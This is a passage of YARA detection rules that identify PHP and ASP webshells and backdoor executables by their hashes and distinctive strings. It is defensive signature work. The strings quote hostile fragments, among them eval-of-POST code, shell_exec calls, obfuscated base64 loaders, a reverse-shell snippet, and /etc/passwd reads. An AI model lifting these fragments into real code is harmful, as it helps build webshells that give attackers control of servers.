		author = "Florian Roth (Nextron Systems)"
		hash = "d54fe07ea53a8929620c50e3a3f8fb69fdeb1cde"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "$info .= '[~]Server: ' .$_SERVER['HTTP_HOST'] .'<br />';" fullword
		$s4 = "header ( \"Content-Description: Download manager\" );" fullword
		$s5 = "print \"<center>[ Generation time: \".round(getTime()-startTime,4).\" second"
		$s9 = "if (mkdir($_POST['dir'], 0777) == false) {" fullword
		$s12 = "$ret = shellexec($command);" fullword

	condition:
		2 of them
}

rule WebShell_CasuS_1_5
{
	meta:
		description = "PHP Webshells Github Archive - file CasuS 1.5.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "7eee8882ad9b940407acc0146db018c302696341"
		id = "cf89d8f8-d498-57fe-98eb-a98350db182f"

	strings:
		$s2 = "<font size='+1'color='#0000FF'><u>CasuS 1.5'in URL'si</u>: http://$HTTP_HO"
		$s8 = "$fonk_kap = get_cfg_var(\"fonksiyonlary_kapat\");" fullword
		$s18 = "if (file_exists(\"F:\\\\\")){" fullword

	condition:
		1 of them
}

rule WebShell_ftpsearch
{
	meta:
		description = "PHP Webshells Github Archive - file ftpsearch.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "c945f597552ccb8c0309ad6d2831c8cabdf4e2d6"
		id = "9db8f00a-1843-5057-b8c7-a7f7b63e0659"

	strings:
		$s0 = "echo \"[-] Error : coudn't read /etc/passwd\";" fullword
		$s9 = "@$ftp=ftp_connect('127.0.0.1');" fullword
		$s12 = "echo \"<title>Edited By KingDefacer</title><body>\";" fullword
		$s19 = "echo \"[+] Founded \".sizeof($users).\" entrys in /etc/passwd\\n\";" fullword

	condition:
		2 of them
}

rule WebShell__Cyber_Shell_cybershell_Cyber_Shell__v_1_0_
{
	meta:
		description = "PHP Webshells Github Archive - from files Cyber Shell.php, cybershell.php, Cyber Shell (v 1.0).php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		super_rule = 1
		hash0 = "ef7f7c45d26614cea597f2f8e64a85d54630fe38"
		hash1 = "cabf47b96e3b2c46248f075bdbc46197db28a25f"
		hash2 = "9e165d4ed95e0501cd9a90155ac60546eb5b1076"
		id = "79146f25-87b9-5216-af88-4e433bb08b90"

	strings:
		$s4 = " <a href=\"http://www.cyberlords.net\" target=\"_blank\">Cyber Lords Community</"
		$s10 = "echo \"<meta http-equiv=Refresh content=\\\"0; url=$PHP_SELF?edit=$nameoffile&sh"
		$s11 = " *   Coded by Pixcher" fullword
		$s16 = "<input type=text size=55 name=newfile value=\"$d/newfile.php\">" fullword

	condition:
		2 of them
}

rule WebShell__Ajax_PHP_Command_Shell_Ajax_PHP_Command_Shell_soldierofallah
{
	meta:
		description = "PHP Webshells Github Archive - from files Ajax_PHP Command Shell.php, Ajax_PHP_Command_Shell.php, soldierofallah.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		super_rule = 1
		hash0 = "fa11deaee821ca3de7ad1caafa2a585ee1bc8d82"
		hash1 = "c0a4ba3e834fb63e0a220a43caaf55c654f97429"
		hash2 = "16fa789b20409c1f2ffec74484a30d0491904064"
		id = "a158d158-d48d-514c-8b7b-4b6a4a10d021"

	strings:
		$s1 = "'Read /etc/passwd' => \"runcommand('etcpasswdfile','GET')\"," fullword
		$s2 = "'Running processes' => \"runcommand('ps -aux','GET')\"," fullword
		$s3 = "$dt = $_POST['filecontent'];" fullword
		$s4 = "'Open ports' => \"runcommand('netstat -an | grep -i listen','GET')\"," fullword
		$s6 = "print \"Sorry, none of the command functions works.\";" fullword
		$s11 = "document.cmdform.command.value='';" fullword
		$s12 = "elseif(isset($_GET['savefile']) && !empty($_POST['filetosave']) && !empty($_POST"

	condition:
		3 of them
}

rule WebShell_Generic_PHP_7
{
	meta:
		description = "PHP Webshells Github Archive"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		super_rule = 1
		hash0 = "de98f890790756f226f597489844eb3e53a867a9"
		hash1 = "128988c8ef5294d51c908690d27f69dffad4e42e"
		hash2 = "fd64f2bf77df8bcf4d161ec125fa5c3695fe1267"
		hash3 = "715f17e286416724e90113feab914c707a26d456"
		id = "506373d6-31b4-5a14-b009-f2b43028a98b"

	strings:
		$s0 = "header(\"Content-disposition: filename=$filename.sql\");" fullword
		$s1 = "else if( $action == \"dumpTable\" || $action == \"dumpDB\" ) {" fullword
		$s2 = "echo \"<font color=blue>[$USERNAME]</font> - \\n\";" fullword
		$s4 = "if( $action == \"dumpTable\" )" fullword

	condition:
		2 of them
}

rule WebShell__Small_Web_Shell_by_ZaCo_small_zaco_zacosmall
{
	meta:
		description = "PHP Webshells Github Archive - from files Small Web Shell by ZaCo.php, small.php, zaco.php, zacosmall.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		super_rule = 1
		hash0 = "b148ead15d34a55771894424ace2a92983351dda"
		hash1 = "e4ba288f6d46dc77b403adf7d411a280601c635b"
		hash2 = "e5713d6d231c844011e9a74175a77e8eb835c856"
		hash3 = "1b836517164c18caf2c92ee2a06c645e26936a0c"
		id = "99dbcea6-7208-5bbe-b200-9ea3074d7855"

	strings:
		$s2 = "if(!$result2)$dump_file.='#error table '.$rows[0];" fullword
		$s4 = "if(!(@mysql_select_db($db_dump,$mysql_link)))echo('DB error');" fullword
		$s6 = "header('Content-Length: '.strlen($dump_file).\"\\n\");" fullword
		$s20 = "echo('Dump for '.$db_dump.' now in '.$to_file);" fullword

	condition:
		2 of them
}

rule WebShell_Generic_PHP_8
{
	meta:
		description = "PHP Webshells Github Archive"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		super_rule = 1
		hash0 = "fc1ae242b926d70e32cdb08bbe92628bc5bd7f99"
		hash1 = "9ad55629c4576e5a31dd845012d13a08f1c1f14e"
		hash2 = "c4aa2cf665c784553740c3702c3bfcb5d7af65a3"
		id = "40c6f69f-9963-5e4f-af44-041d47738519"

	strings:
		$s1 = "elseif ( $cmd==\"file\" ) { /* <!-- View a file in text --> */" fullword
		$s2 = "elseif ( $cmd==\"upload\" ) { /* <!-- Upload File form --> */ " fullword
		$s3 = "/* I added this to ensure the script will run correctly..." fullword
		$s14 = "<!--    </form>   -->" fullword
		$s15 = "<form action=\\\"$SFileName?$urlAdd\\\" method=\\\"POST\\\">" fullword
		$s20 = "elseif ( $cmd==\"downl\" ) { /*<!-- Save the edited file back to a file --> */" fullword

	condition:
		3 of them
}

rule WebShell__PH_Vayv_PHVayv_PH_Vayv_klasvayv_asp_php
{
	meta:
		description = "PHP Webshells Github Archive - from files PH Vayv.php, PHVayv.php, PH_Vayv.php, klasvayv.asp.php.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		super_rule = 1
		hash0 = "b51962a1ffa460ec793317571fc2f46042fd13ee"
		hash1 = "408ac9ca3d435c0f78bda370b33e84ba25afc357"
		hash2 = "4003ae289e3ae036755976f8d2407c9381ff5653"
		hash3 = "4f83bc2836601225a115b5ad54496428a507a361"
		id = "1575591b-3245-5c3d-b2a4-6def89e77032"

	strings:
		$s1 = "<font color=\"#000000\">Sil</font></a></font></td>" fullword
		$s5 = "<td width=\"122\" height=\"17\" bgcolor=\"#9F9F9F\">" fullword
		$s6 = "onfocus=\"if (this.value == 'Kullan" fullword
		$s16 = "<img border=\"0\" src=\"http://www.aventgrup.net/arsiv/klasvayv/1.0/2.gif\">"

	condition:
		2 of them
}

rule WebShell_Generic_PHP_9
{
	meta:
		description = "PHP Webshells Github Archive - from files KAdot Universal Shell v0.1.6.php, KAdot_Universal_Shell_v0.1.6.php, KA_uShell 0.1.6.php"
		author = "Florian Roth (Nextron Systems)"
		super_rule = 1
		date = "2014/04/06"
		modified = "2022-12-06"
		score = 70
		reference = "Internal Research"
		hash0 = "89f2a7007a2cd411e0a7abd2ff5218d212b84d18"
		hash1 = "2266178ad4eb72c2386c0a4d536e5d82bb7ed6a2"
		hash2 = "0daed818cac548324ad0c5905476deef9523ad73"
		id = "98927127-08be-57ac-a090-38c7e614dae7"

	strings:
		$ = { 3a 3c 62 3e 22 20 2e 62 61 73 65 36 34 5f 64 65 63 6f 64 65 28 24 5f 50 4f 53 54 5b 27 74 6f 74 27 5d 29 2e 20 22 3c 2f 62 3e 22 3b }
		$ = { 69 66 20 28 69 73 73 65 74 28 24 5f 50 4f 53 54 5b 27 77 71 27 5d 29 20 26 26 20 24 5f 50 4f 53 54 5b 27 77 71 27 5d 3c 3e 22 22 29 20 7b }
		$ = { 70 61 73 73 74 68 72 75 28 24 5f 50 4f 53 54 5b 27 63 27 5d 29 3b }
		$ = { 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 72 61 64 69 6f 22 20 6e 61 6d 65 3d 22 74 61 63 22 20 76 61 6c 75 65 3d 22 31 22 3e 42 36 34 20 44 65 63 6f 64 65 3c 62 72 3e }

	condition:
		1 of them
}

rule WebShell__PH_Vayv_PHVayv_PH_Vayv
{
	meta:
		description = "PHP Webshells Github Archive - from files PH Vayv.php, PHVayv.php, PH_Vayv.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		super_rule = 1
		hash0 = "b51962a1ffa460ec793317571fc2f46042fd13ee"
		hash1 = "408ac9ca3d435c0f78bda370b33e84ba25afc357"
		hash2 = "4003ae289e3ae036755976f8d2407c9381ff5653"
		id = "1575591b-3245-5c3d-b2a4-6def89e77032"

	strings:
		$s4 = "<form method=\"POST\" action=\"<?echo \"PHVayv.php?duzkaydet=$dizin/$duzenle"
		$s12 = "<? if ($ekinci==\".\" or  $ekinci==\"..\") {" fullword
		$s17 = "name=\"duzenx2\" value=\"Klas" fullword

	condition:
		2 of them
}

rule WebShell_Generic_PHP_1
{
	meta:
		description = "PHP Webshells Github Archive - from files Dive Shell 1.0"
		author = "Florian Roth (Nextron Systems)"
		super_rule = 1
		score = 70
		date = "2014/04/06"
		modified = "2022-12-06"
		hash0 = "3b086b9b53cf9d25ff0d30b1d41bb2f45c7cda2b"
		hash1 = "2558e728184b8efcdb57cfab918d95b06d45de04"
		hash2 = "203a8021192531d454efbc98a3bbb8cabe09c85c"
		hash3 = "b79709eb7801a28d02919c41cc75ac695884db27"
		id = "9a87038b-3f78-5b9a-a209-c9026d83363f"

	strings:
		$ = { 76 61 72 20 63 6f 6d 6d 61 6e 64 5f 68 69 73 74 20 3d 20 6e 65 77 20 41 72 72 61 79 28 3c 3f 70 68 70 20 65 63 68 6f 20 24 6a 73 5f 63 6f 6d 6d 61 6e 64 5f 68 69 73 74 20 3f 3e 29 3b }
		$ = { 69 66 20 28 65 6d 70 74 79 28 24 5f 53 45 53 53 49 4f 4e 5b 27 63 77 64 27 5d 29 20 7c 7c 20 21 65 6d 70 74 79 28 24 5f 52 45 51 55 45 53 54 5b 27 72 65 73 65 74 27 5d 29 29 20 7b }
		$ = { 69 66 20 28 65 2e 6b 65 79 43 6f 64 65 20 3d 3d 20 33 38 20 26 26 20 63 75 72 72 65 6e 74 5f 6c 69 6e 65 20 3c 20 63 6f 6d 6d 61 6e 64 5f 68 69 73 74 2e 6c 65 6e 67 74 68 2d 31 29 20 7b }

	condition:
		1 of them
}

rule WebShell_Generic_PHP_2
{
	meta:
		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, load_shell.php, Loaderz WEB Shell.php, stres.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		super_rule = 1
		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
		hash1 = "ca9fcfb50645dc0712abdf18d613ed2196e66241"
		hash2 = "36d8782d749638fdcaeed540d183dd3c8edc6791"
		hash3 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
		id = "be335331-34d7-5abc-b29b-eac7a5ec3915"

	strings:
		$s3 = "if((isset($_POST['fileto']))||(isset($_POST['filefrom'])))" fullword
		$s4 = "\\$port = {$_POST['port']};"
		$s5 = "$_POST['installpath'] = \"temp.pl\";}" fullword
		$s14 = "if(isset($_POST['post']) and $_POST['post'] == \"yes\" and @$HTTP_POST_FILES[\"u"
		$s16 = "copy($HTTP_POST_FILES[\"userfile\"][\"tmp_name\"],$HTTP_POST_FILES[\"userfile\"]"

	condition:
		4 of them
}

rule WebShell__CrystalShell_v_1_erne_stres
{
	meta:
		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, erne.php, stres.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		super_rule = 1
		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
		hash1 = "6eb4ab630bd25bec577b39fb8a657350bf425687"
		hash2 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
		id = "4e73e42e-b968-5b68-a00d-d2a8a1f3541c"

	strings:
		$s1 = "<input type='submit' value='  open (shill.txt) '>" fullword
		$s4 = "var_dump(curl_exec($ch));" fullword
		$s7 = "if(empty($_POST['Mohajer22'])){" fullword
		$s10 = "$m=$_POST['curl'];" fullword
		$s13 = "$u1p=$_POST['copy'];" fullword
		$s14 = "if(empty(\\$_POST['cmd'])){" fullword
		$s15 = "$string = explode(\"|\",$string);" fullword
		$s16 = "$stream = imap_open(\"/etc/passwd\", \"\", \"\");" fullword

	condition:
		5 of them
}

rule WebShell_Generic_PHP_3
{
	meta:
		description = "PHP Webshells Github Archive"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		super_rule = 1
		hash0 = "d829e87b3ce34460088c7775a60bded64e530cd4"
		hash1 = "d710c95d9f18ec7c76d9349a28dd59c3605c02be"
		hash2 = "f044d44e559af22a1a7f9db72de1206f392b8976"
		hash3 = "41780a3e8c0dc3cbcaa7b4d3c066ae09fb74a289"
		id = "ff7c6534-efcf-565e-bfc0-1eaa2e9d7b7d"

	strings:
		$s0 = "header('Content-Length:'.filesize($file).'');" fullword
		$s4 = "<textarea name=\\\"command\\\" rows=\\\"5\\\" cols=\\\"150\\\">\".@$_POST['comma"
		$s7 = "if(filetype($dir . $file)==\"file\")$files[]=$file;" fullword
		$s14 = "elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} " fullword
		$s20 = "$info .= (($perms & 0x0004) ? 'r' : '-');" fullword

	condition:
		all of them
}

rule WebShell_Generic_PHP_4
{
	meta:
		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, load_shell.php, nshell.php, Loaderz WEB Shell.php, stres.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		super_rule = 1
		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
		hash1 = "ca9fcfb50645dc0712abdf18d613ed2196e66241"
		hash2 = "86bc40772de71b1e7234d23cab355e1ff80c474d"
		hash3 = "36d8782d749638fdcaeed540d183dd3c8edc6791"
		hash4 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
		id = "2932cb85-927e-536b-b8d8-a0ac0d1ef8ec"

	strings:
		$s0 = "if ($filename != \".\" and $filename != \"..\"){" fullword
		$s2 = "$owner[\"write\"] = ($mode & 00200) ? 'w' : '-';" fullword
		$s5 = "$owner[\"execute\"] = ($mode & 00100) ? 'x' : '-';" fullword
		$s6 = "$world[\"write\"] = ($mode & 00002) ? 'w' : '-';" fullword
		$s7 = "$world[\"execute\"] = ($mode & 00001) ? 'x' : '-';" fullword
		$s10 = "foreach ($arr as $filename) {" fullword
		$s19 = "else if( $mode & 0x6000 ) { $type='b'; }" fullword

	condition:
		all of them
}

rule WebShell_GFS
{
	meta:
		description = "PHP Webshells Github Archive - from files GFS web-shell ver 3.1.7 - PRiV8.php, Predator.php, GFS_web-shell_ver_3.1.7_-_PRiV8.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		super_rule = 1
		hash0 = "c2f1ef6b11aaec255d4dd31efad18a3869a2a42c"
		hash1 = "34f6640985b07009dbd06cd70983451aa4fe9822"
		hash2 = "d25ef72bdae3b3cb0fc0fdd81cfa58b215812a50"
		id = "bde6cfd8-466f-528a-b1e3-f874aa778010"

	strings:
		$s0 = "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==\";" fullword
		$s1 = "lIENPTk47DQpleGl0IDA7DQp9DQp9\";" fullword
		$s2 = "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShm"

	condition:
		all of them
}

rule WebShell__CrystalShell_v_1_sosyete_stres
{
	meta:
		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, sosyete.php, stres.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		super_rule = 1
		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
		hash1 = "e32405e776e87e45735c187c577d3a4f98a64059"
		hash2 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
		id = "774f7f4c-724a-5eb0-b5de-44b389fd593d"

	strings:
		$s1 = "A:visited { COLOR:blue; TEXT-DECORATION: none}" fullword
		$s4 = "A:active {COLOR:blue; TEXT-DECORATION: none}" fullword
		$s11 = "scrollbar-darkshadow-color: #101842;" fullword
		$s15 = "<a bookmark=\"minipanel\">" fullword
		$s16 = "background-color: #EBEAEA;" fullword
		$s18 = "color: #D5ECF9;" fullword
		$s19 = "<center><TABLE style=\"BORDER-COLLAPSE: collapse\" height=1 cellSpacing=0 border"

	condition:
		all of them
}

rule WebShell_Generic_PHP_10
{
	meta:
		description = "PHP Webshells Github Archive - from files Cyber Shell.php, cybershell.php, Cyber Shell (v 1.0).php, PHPRemoteView.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		super_rule = 1
		hash0 = "ef7f7c45d26614cea597f2f8e64a85d54630fe38"
		hash1 = "cabf47b96e3b2c46248f075bdbc46197db28a25f"
		hash2 = "9e165d4ed95e0501cd9a90155ac60546eb5b1076"
		hash3 = "7d5b54c7cab6b82fb7d131d7bbb989fd53cb1b57"
		id = "f52013d6-72ce-544c-a7ef-ae2a2ea87108"

	strings:
		$s2 = "$world[\"execute\"] = ($world['execute']=='x') ? 't' : 'T'; " fullword
		$s6 = "$owner[\"write\"] = ($mode & 00200) ? 'w' : '-'; " fullword
		$s11 = "$world[\"execute\"] = ($mode & 00001) ? 'x' : '-'; " fullword
		$s12 = "else if( $mode & 0xA000 ) " fullword
		$s17 = "$s=sprintf(\"%1s\", $type); " fullword
		$s20 = "font-size: 8pt;" fullword

	condition:
		all of them
}

rule WebShell_Generic_PHP_11
{
	meta:
		description = "PHP Webshells Github Archive - from files rootshell.php, Rootshell.v.1.0.php, s72 Shell v1.1 Coding.php, s72_Shell_v1.1_Coding.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		super_rule = 1
		hash0 = "31a82cbee8dffaf8eb7b73841f3f3e8e9b3e78cf"
		hash1 = "838c7191cb10d5bb0fc7460b4ad0c18c326764c6"
		hash2 = "8dfcd919d8ddc89335307a7b2d5d467b1fd67351"
		hash3 = "80aba3348434c66ac471daab949871ab16c50042"
		id = "590c5320-ef85-5522-94fd-4619749f7eb1"

	strings:
		$s5 = "$filename = $backupstring.\"$filename\";" fullword
		$s6 = "while ($file = readdir($folder)) {" fullword
		$s7 = "if($file != \".\" && $file != \"..\")" fullword
		$s9 = "$backupstring = \"copy_of_\";" fullword
		$s10 = "if( file_exists($file_name))" fullword
		$s13 = "global $file_name, $filename;" fullword
		$s16 = "copy($file,\"$filename\");" fullword
		$s18 = "<td width=\"49%\" height=\"142\">" fullword

	condition:
		all of them
}

rule WebShell__findsock_php_findsock_shell_php_reverse_shell
{
	meta:
		description = "PHP Webshells Github Archive - from files findsock.c, php-findsock-shell.php, php-reverse-shell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		super_rule = 1
		hash0 = "5622c9841d76617bfc3cd4cab1932d8349b7044f"
		hash1 = "4a20f36035bbae8e342aab0418134e750b881d05"
		hash2 = "40dbdc0bdf5218af50741ba011c5286a723fa9bf"
		id = "6567c8f1-bd7f-5844-b937-3db2d8eb7408"

	strings:
		$s1 = "// me at pentestmonkey@pentestmonkey.net" fullword

	condition:
		all of them
}

rule WebShell_Generic_PHP_6
{
	meta:
		description = "PHP Webshells Github Archive"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		super_rule = 1
		hash0 = "1a08f5260c4a2614636dfc108091927799776b13"
		hash1 = "335a0851304acedc3f117782b61479bbc0fd655a"
		hash2 = "ca9fcfb50645dc0712abdf18d613ed2196e66241"
		hash3 = "36d8782d749638fdcaeed540d183dd3c8edc6791"
		hash4 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
		id = "e61ec617-565a-5b24-82f4-3677ef379a06"

	strings:
		$s2 = "@eval(stripslashes($_POST['phpcode']));" fullword
		$s5 = "echo shell_exec($com);" fullword
		$s7 = "if($sertype == \"winda\"){" fullword
		$s8 = "function execute($com)" fullword
		$s12 = "echo decode(execute($cmd));" fullword
		$s15 = "echo system($com);" fullword

	condition:
		4 of them
}

rule Unpack_Injectt
{
	meta:
		description = "Webshells Auto-generated - file Injectt.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "8a5d2158a566c87edc999771e12d42c5"
		id = "80dc3086-41a6-5e30-bbf4-463500fe5e33"

	strings:
		$s2 = "%s -Run                              -->To Install And Run The Service"
		$s3 = "%s -Uninstall                        -->To Uninstall The Service"
		$s4 = "(STANDARD_RIGHTS_REQUIRED |SC_MANAGER_CONNECT |SC_MANAGER_CREATE_SERVICE |SC_MAN"

	condition:
		all of them
}

rule HYTop_DevPack_fso
{
	meta:
		description = "Webshells Auto-generated - file fso.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "b37f3cde1a08890bd822a182c3a881f6"
		id = "094eeff9-0da0-5a44-a45c-f8ee57861e7a"

	strings:
		$s0 = "<!-- PageFSO Below -->"
		$s1 = "theFile.writeLine(\"<script language=\"\"vbscript\"\" runat=server>if request(\"\"\"&cli"

	condition:
		all of them
}

rule FeliksPack3___PHP_Shells_ssh
{
	meta:
		description = "Webshells Auto-generated - file ssh.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "1aa5307790d72941589079989b4f900e"
		id = "0b971065-df16-5092-beff-c55608447f19"

	strings:
		$s0 = "eval(gzinflate(str_rot13(base64_decode('"

	condition:
		all of them
}

rule Debug_BDoor
{
	meta:
		description = "Webshells Auto-generated - file BDoor.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "e4e8e31dd44beb9320922c5f49739955"
		id = "0938efe7-2b6d-5749-af9a-967cca85defb"

	strings:
		$s1 = "\\BDoor\\"
		$s4 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"

	condition:
		all of them
}

rule bin_Client
{
	meta:
		description = "Webshells Auto-generated - file Client.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "5f91a5b46d155cacf0cc6673a2a5461b"
		id = "8564d787-5edc-59b0-b1ef-2f33c8a24f82"

	strings:
		$s0 = "Recieved respond from server!!"
		$s4 = "packet door client"
		$s5 = "input source port(whatever you want):"
		$s7 = "Packet sent,waiting for reply..."

	condition:
		all of them
}

rule ZXshell2_0_rar_Folder_ZXshell
{
	meta:
		description = "Webshells Auto-generated - file ZXshell.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "246ce44502d2f6002d720d350e26c288"
		id = "621ac87e-b1f8-58d7-9328-54af5ca9b605"

	strings:
		$s0 = "WPreviewPagesn"
		$s1 = "DA!OLUTELY N"

	condition:
		all of them
}

rule RkNTLoad
{
	meta:
		description = "Webshells Auto-generated - file RkNTLoad.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "262317c95ced56224f136ba532b8b34f"
		id = "fd4b1343-5fa9-5ad8-bee1-6b06b93ddfbe"

	strings:
		$s1 = "$Info: This file is packed with the UPX executable packer http://upx.tsx.org $"
		$s2 = "5pur+virtu!"
		$s3 = "ugh spac#n"
		$s4 = "xcEx3WriL4"
		$s5 = "runtime error"
		$s6 = "loseHWait.Sr."
		$s7 = "essageBoxAw"
		$s8 = "$Id: UPX 1.07 Copyright (C) 1996-2001 the UPX Team. All Rights Reserved. $"

	condition:
		all of them
}

rule binder2_binder2
{
	meta:
		description = "Webshells Auto-generated - file binder2.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "d594e90ad23ae0bc0b65b59189c12f11"
		id = "29269dc0-f2e4-56ec-ad64-0dff00e339b7"

	strings:
		$s0 = "IsCharAlphaNumericA"
		$s2 = "WideCharToM"
		$s4 = "g 5pur+virtu!"
		$s5 = "\\syslog.en"
		$s6 = "heap7'7oqk?not="
		$s8 = "- Kablto in"

	condition:
		all of them
}

rule thelast_orice2
{
	meta:
		description = "Webshells Auto-generated - file orice2.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "aa63ffb27bde8d03d00dda04421237ae"
		id = "968cef9e-0163-5f4a-91e3-07510f9f4fcd"

	strings:
		$s0 = " $aa = $_GET['aa'];"
		$s1 = "echo $aa;"

	condition:
		all of them
}

rule FSO_s_sincap
{
	meta:
		description = "Webshells Auto-generated - file sincap.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "dc5c2c2392b84a1529abd92e98e9aa5b"
		id = "fcee20a3-e71b-5f69-ac67-8660fd270703"

	strings:
		$s0 = "    <font color=\"#E5E5E5\" style=\"font-size: 8pt; font-weight: 700\" face=\"Arial\">"
		$s4 = "<body text=\"#008000\" bgcolor=\"#808080\" topmargin=\"0\" leftmargin=\"0\" rightmargin="

	condition:
		all of them
}

rule PhpShell
{
	meta:
		description = "Webshells Auto-generated - file PhpShell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "539baa0d39a9cf3c64d65ee7a8738620"
		id = "887264d3-5704-5e38-b0a6-44d529258ea2"

	strings:
		$s2 = "href=\"http://www.gimpster.com/wiki/PhpShell\">www.gimpster.com/wiki/PhpShell</a>."

	condition:
		all of them
}

rule HYTop_DevPack_config
{
	meta:
		description = "Webshells Auto-generated - file config.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "b41d0e64e64a685178a3155195921d61"
		id = "da1b8ce1-8b17-53f6-a86b-ad3fe918084e"

	strings:
		$s0 = "const adminPassword=\""
		$s2 = "const userPassword=\""
		$s3 = "const mVersion="

	condition:
		all of them
}

rule sendmail
{
	meta:
		description = "Webshells Auto-generated - file sendmail.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "75b86f4a21d8adefaf34b3a94629bd17"
		id = "dd33c2bb-61bf-57b7-82b9-d864097f7a56"

	strings:
		$s3 = "_NextPyC808"
		$s6 = "Copyright (C) 2000, Diamond Computer Systems Pty. Ltd. (www.diamondcs.com.au)"

	condition:
		all of them
}

rule FSO_s_zehir4
{
	meta:
		description = "Webshells Auto-generated - file zehir4.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "5b496a61363d304532bcf52ee21f5d55"
		id = "9f1adcd6-b721-54ef-a20f-c3a353629a40"

	strings:
		$s5 = " byMesaj "

	condition:
		all of them
}

rule hkshell_hkshell
{
	meta:
		description = "Webshells Auto-generated - file hkshell.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
